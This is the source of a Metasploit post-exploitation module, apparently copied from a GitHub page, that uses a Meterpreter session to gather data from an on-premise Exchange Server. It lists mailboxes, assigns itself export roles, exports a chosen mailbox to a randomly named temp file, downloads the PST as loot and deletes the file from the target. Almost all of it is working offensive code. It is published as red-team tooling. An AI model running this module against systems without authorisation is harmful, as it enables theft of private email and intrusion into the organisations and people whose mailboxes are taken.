/
exchange.rb
186 lines (161 loc) · 7.62 KB
/
exchange.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::Registry
include Msf::Post::Windows::Powershell
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Gather Exchange Server Mailboxes',
'Description' => %q{
This module will gather information from an on-premise Exchange Server running on the target machine.
Two actions are supported:
LIST (default action): List basic information about all Exchange servers and mailboxes hosted on the target.
EXPORT: Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword.
For a list of valid filters, see https://docs.microsoft.com/en-us/exchange/filterable-properties-for-the-contentfilter-parameter
The executing user has to be assigned to the "Organization Management" role group for the module to successfully run.
Tested on Exchange Server 2010 on Windows Server 2012 R2 and Exchange Server 2016 on Windows Server 2016.
},
'License' => MSF_LICENSE,
'Author' => [ 'SophosLabs Offensive Security team' ],
'References' => [
[ 'URL', 'https://github.com/sophoslabs/metasploit_gather_exchange' ],
[ 'URL', 'https://news.sophos.com/en-us/2021/03/09/sophoslabs-offensive-security-releases-post-exploitation-tool-for-exchange/' ],
],
'Platform' => [ 'win' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'meterpreter' ],
'Actions' => [
[ 'LIST', { 'Description' => 'List basic information about all Exchange servers and mailboxes hosted on the target' } ],
[ 'EXPORT', { 'Description' => 'Export and download a chosen mailbox in the form of a .PST file, with support for an optional filter keyword' } ],
],
'DefaultAction' => 'LIST',
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_stat
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options(
[
OptString.new('FILTER', [ false, '[for EXPORT] Filter to use when exporting a mailbox (see description)' ]),
OptString.new('MAILBOX', [ false, '[for EXPORT, required] Mailbox to export' ]),
]
)
register_advanced_options(
[
OptInt.new('TIMEOUT', [true, 'The maximum time (in seconds) to wait for any Powershell scripts to complete', 600]),
OptFloat.new('DownloadSizeThreshold', [true, 'The file size of export results after which a prompt will appear to confirm the download, in MB (0 for no threshold)', 50.0]),
OptBool.new('SkipLargeDownloads', [true, 'Automatically skip downloading export results that are larger than DownloadSizeThreshold (don\'t show prompt)', false])
]
)
end
def execute_exchange_script(command)
# Generate random delimiters for output coming from the powershell script
output_start_delim = "<#{Rex::Text.rand_text_alphanumeric(16)}>"
output_end_delim = "</#{Rex::Text.rand_text_alphanumeric(16)}>"
base_script = File.read(File.join(Msf::Config.data_directory, 'post', 'powershell', 'exchange.ps1'))
# A hash is used as the replacement argument to avoid issues with backslashes in command
psh_script = base_script.sub('_COMMAND_', '_COMMAND_' => command)
# Insert the random delimiters in place of the placeholders
psh_script.gsub!('<output>', output_start_delim)
psh_script.gsub!('</output>', output_end_delim)
compressed_script = compress_script(psh_script)
cmd_out, _runnings_pids, _open_channels = execute_script(compressed_script, datastore['TIMEOUT'])
while (d = cmd_out.channel.read)
# Only print the output coming from PowerShell that is inside the delimiters
d.scan(/#{output_start_delim}(.*?)#{output_end_delim}/) do |b|
b[0].split('<br>') do |l|
print_line(l.to_s)
end
end
end
end
def user_confirms_download?
# Prompt the user to confirm the download. Return true if confirmed, false otherwise
return false unless user_input.respond_to?(:pgets)
old_prompt = user_input.prompt
user_input.prompt = 'Are you sure you want to continue? [y/N] '
cont = user_input.pgets
user_input.prompt = old_prompt
return cont.match?(/^y/i)
end
def export_mailboxes(mailbox, filter)
# Get the target's TEMP path and generate a random filename to serve as the save path for the export action
temp_folder = get_env('TEMP')
random_filename = "#{Rex::Text.rand_text_alpha(16)}.tmp"
temp_save_path = "#{temp_folder}\\#{random_filename}"
# The Assign-Roles command is responsible for assigning the roles necessary for exporting,
# It's executed in a separate PowerShell session because these changes don't take effect until a new session is created
execute_exchange_script('Assign-Roles')
execute_exchange_script("Export-Mailboxes \"#{mailbox}\" \"#{filter}\" \"#{temp_save_path}\"")
# After script is done executing, check if the export save path exists on the target
if !file_exist?(temp_save_path)
print_error('Export file not created on target machine. Aborting.')
return
end
# Get the size of the newly made export file
stat = session.fs.file.stat(temp_save_path)
mb_size = (stat.stathash['st_size'] / 1024.0 / 1024.0).round(2)
print_status("Resulting export file size: #{mb_size} MB")
if datastore['DownloadSizeThreshold'] > 0 && mb_size > datastore['DownloadSizeThreshold']
print_warning("The resulting export file is larger than current threshold (#{datastore['DownloadSizeThreshold']} MB)")
print_warning('You can reduce the size of the export file by using the FILTER option to refine the amount of exported mail items.')
if datastore['SkipLargeDownloads'] || !user_confirms_download?
print_error('Not downloading oversized export file.')
rm_f(temp_save_path)
return
end
end
# Download file using the loot system
loot = store_loot('PST', 'application/vnd.ms-outlook', session, read_file(temp_save_path), 'export.pst', "PST export of mailbox #{mailbox}")
print_good("PST saved in: #{loot}")
# Delete file from target
rm_f(temp_save_path)
end
def list_mailboxes
execute_exchange_script('List-Mailboxes')
end
def run
# Check if Exchange Server is installed on the target by checking the registry
if registry_key_exist?('HKLM\Software\Microsoft\ExchangeServer')
print_good('Exchange Server is present on target machine')
else
fail_with(Failure::Unknown, 'Exchange Server is not present on target machine')
end
# Check if PowerShell is installed on the target
if have_powershell?
print_good('PowerShell is present on target machine')
else
fail_with(Failure::Unknown, 'PowerShell is not present on target machine')
end
mailbox = datastore['MAILBOX']
filter = datastore['FILTER']
case action.name
when 'LIST'
print_good('Listing reachable servers and mailboxes: ')
list_mailboxes
when 'EXPORT'
if mailbox.nil? || mailbox.empty?
fail_with(Failure::BadConfig, 'Option MAILBOX is required for action EXPORT')
else
print_good("Exporting mailbox '#{mailbox}': ")
export_mailboxes(mailbox, filter)
end
else
print_error("Unknown action: #{action.name}")
end
end
end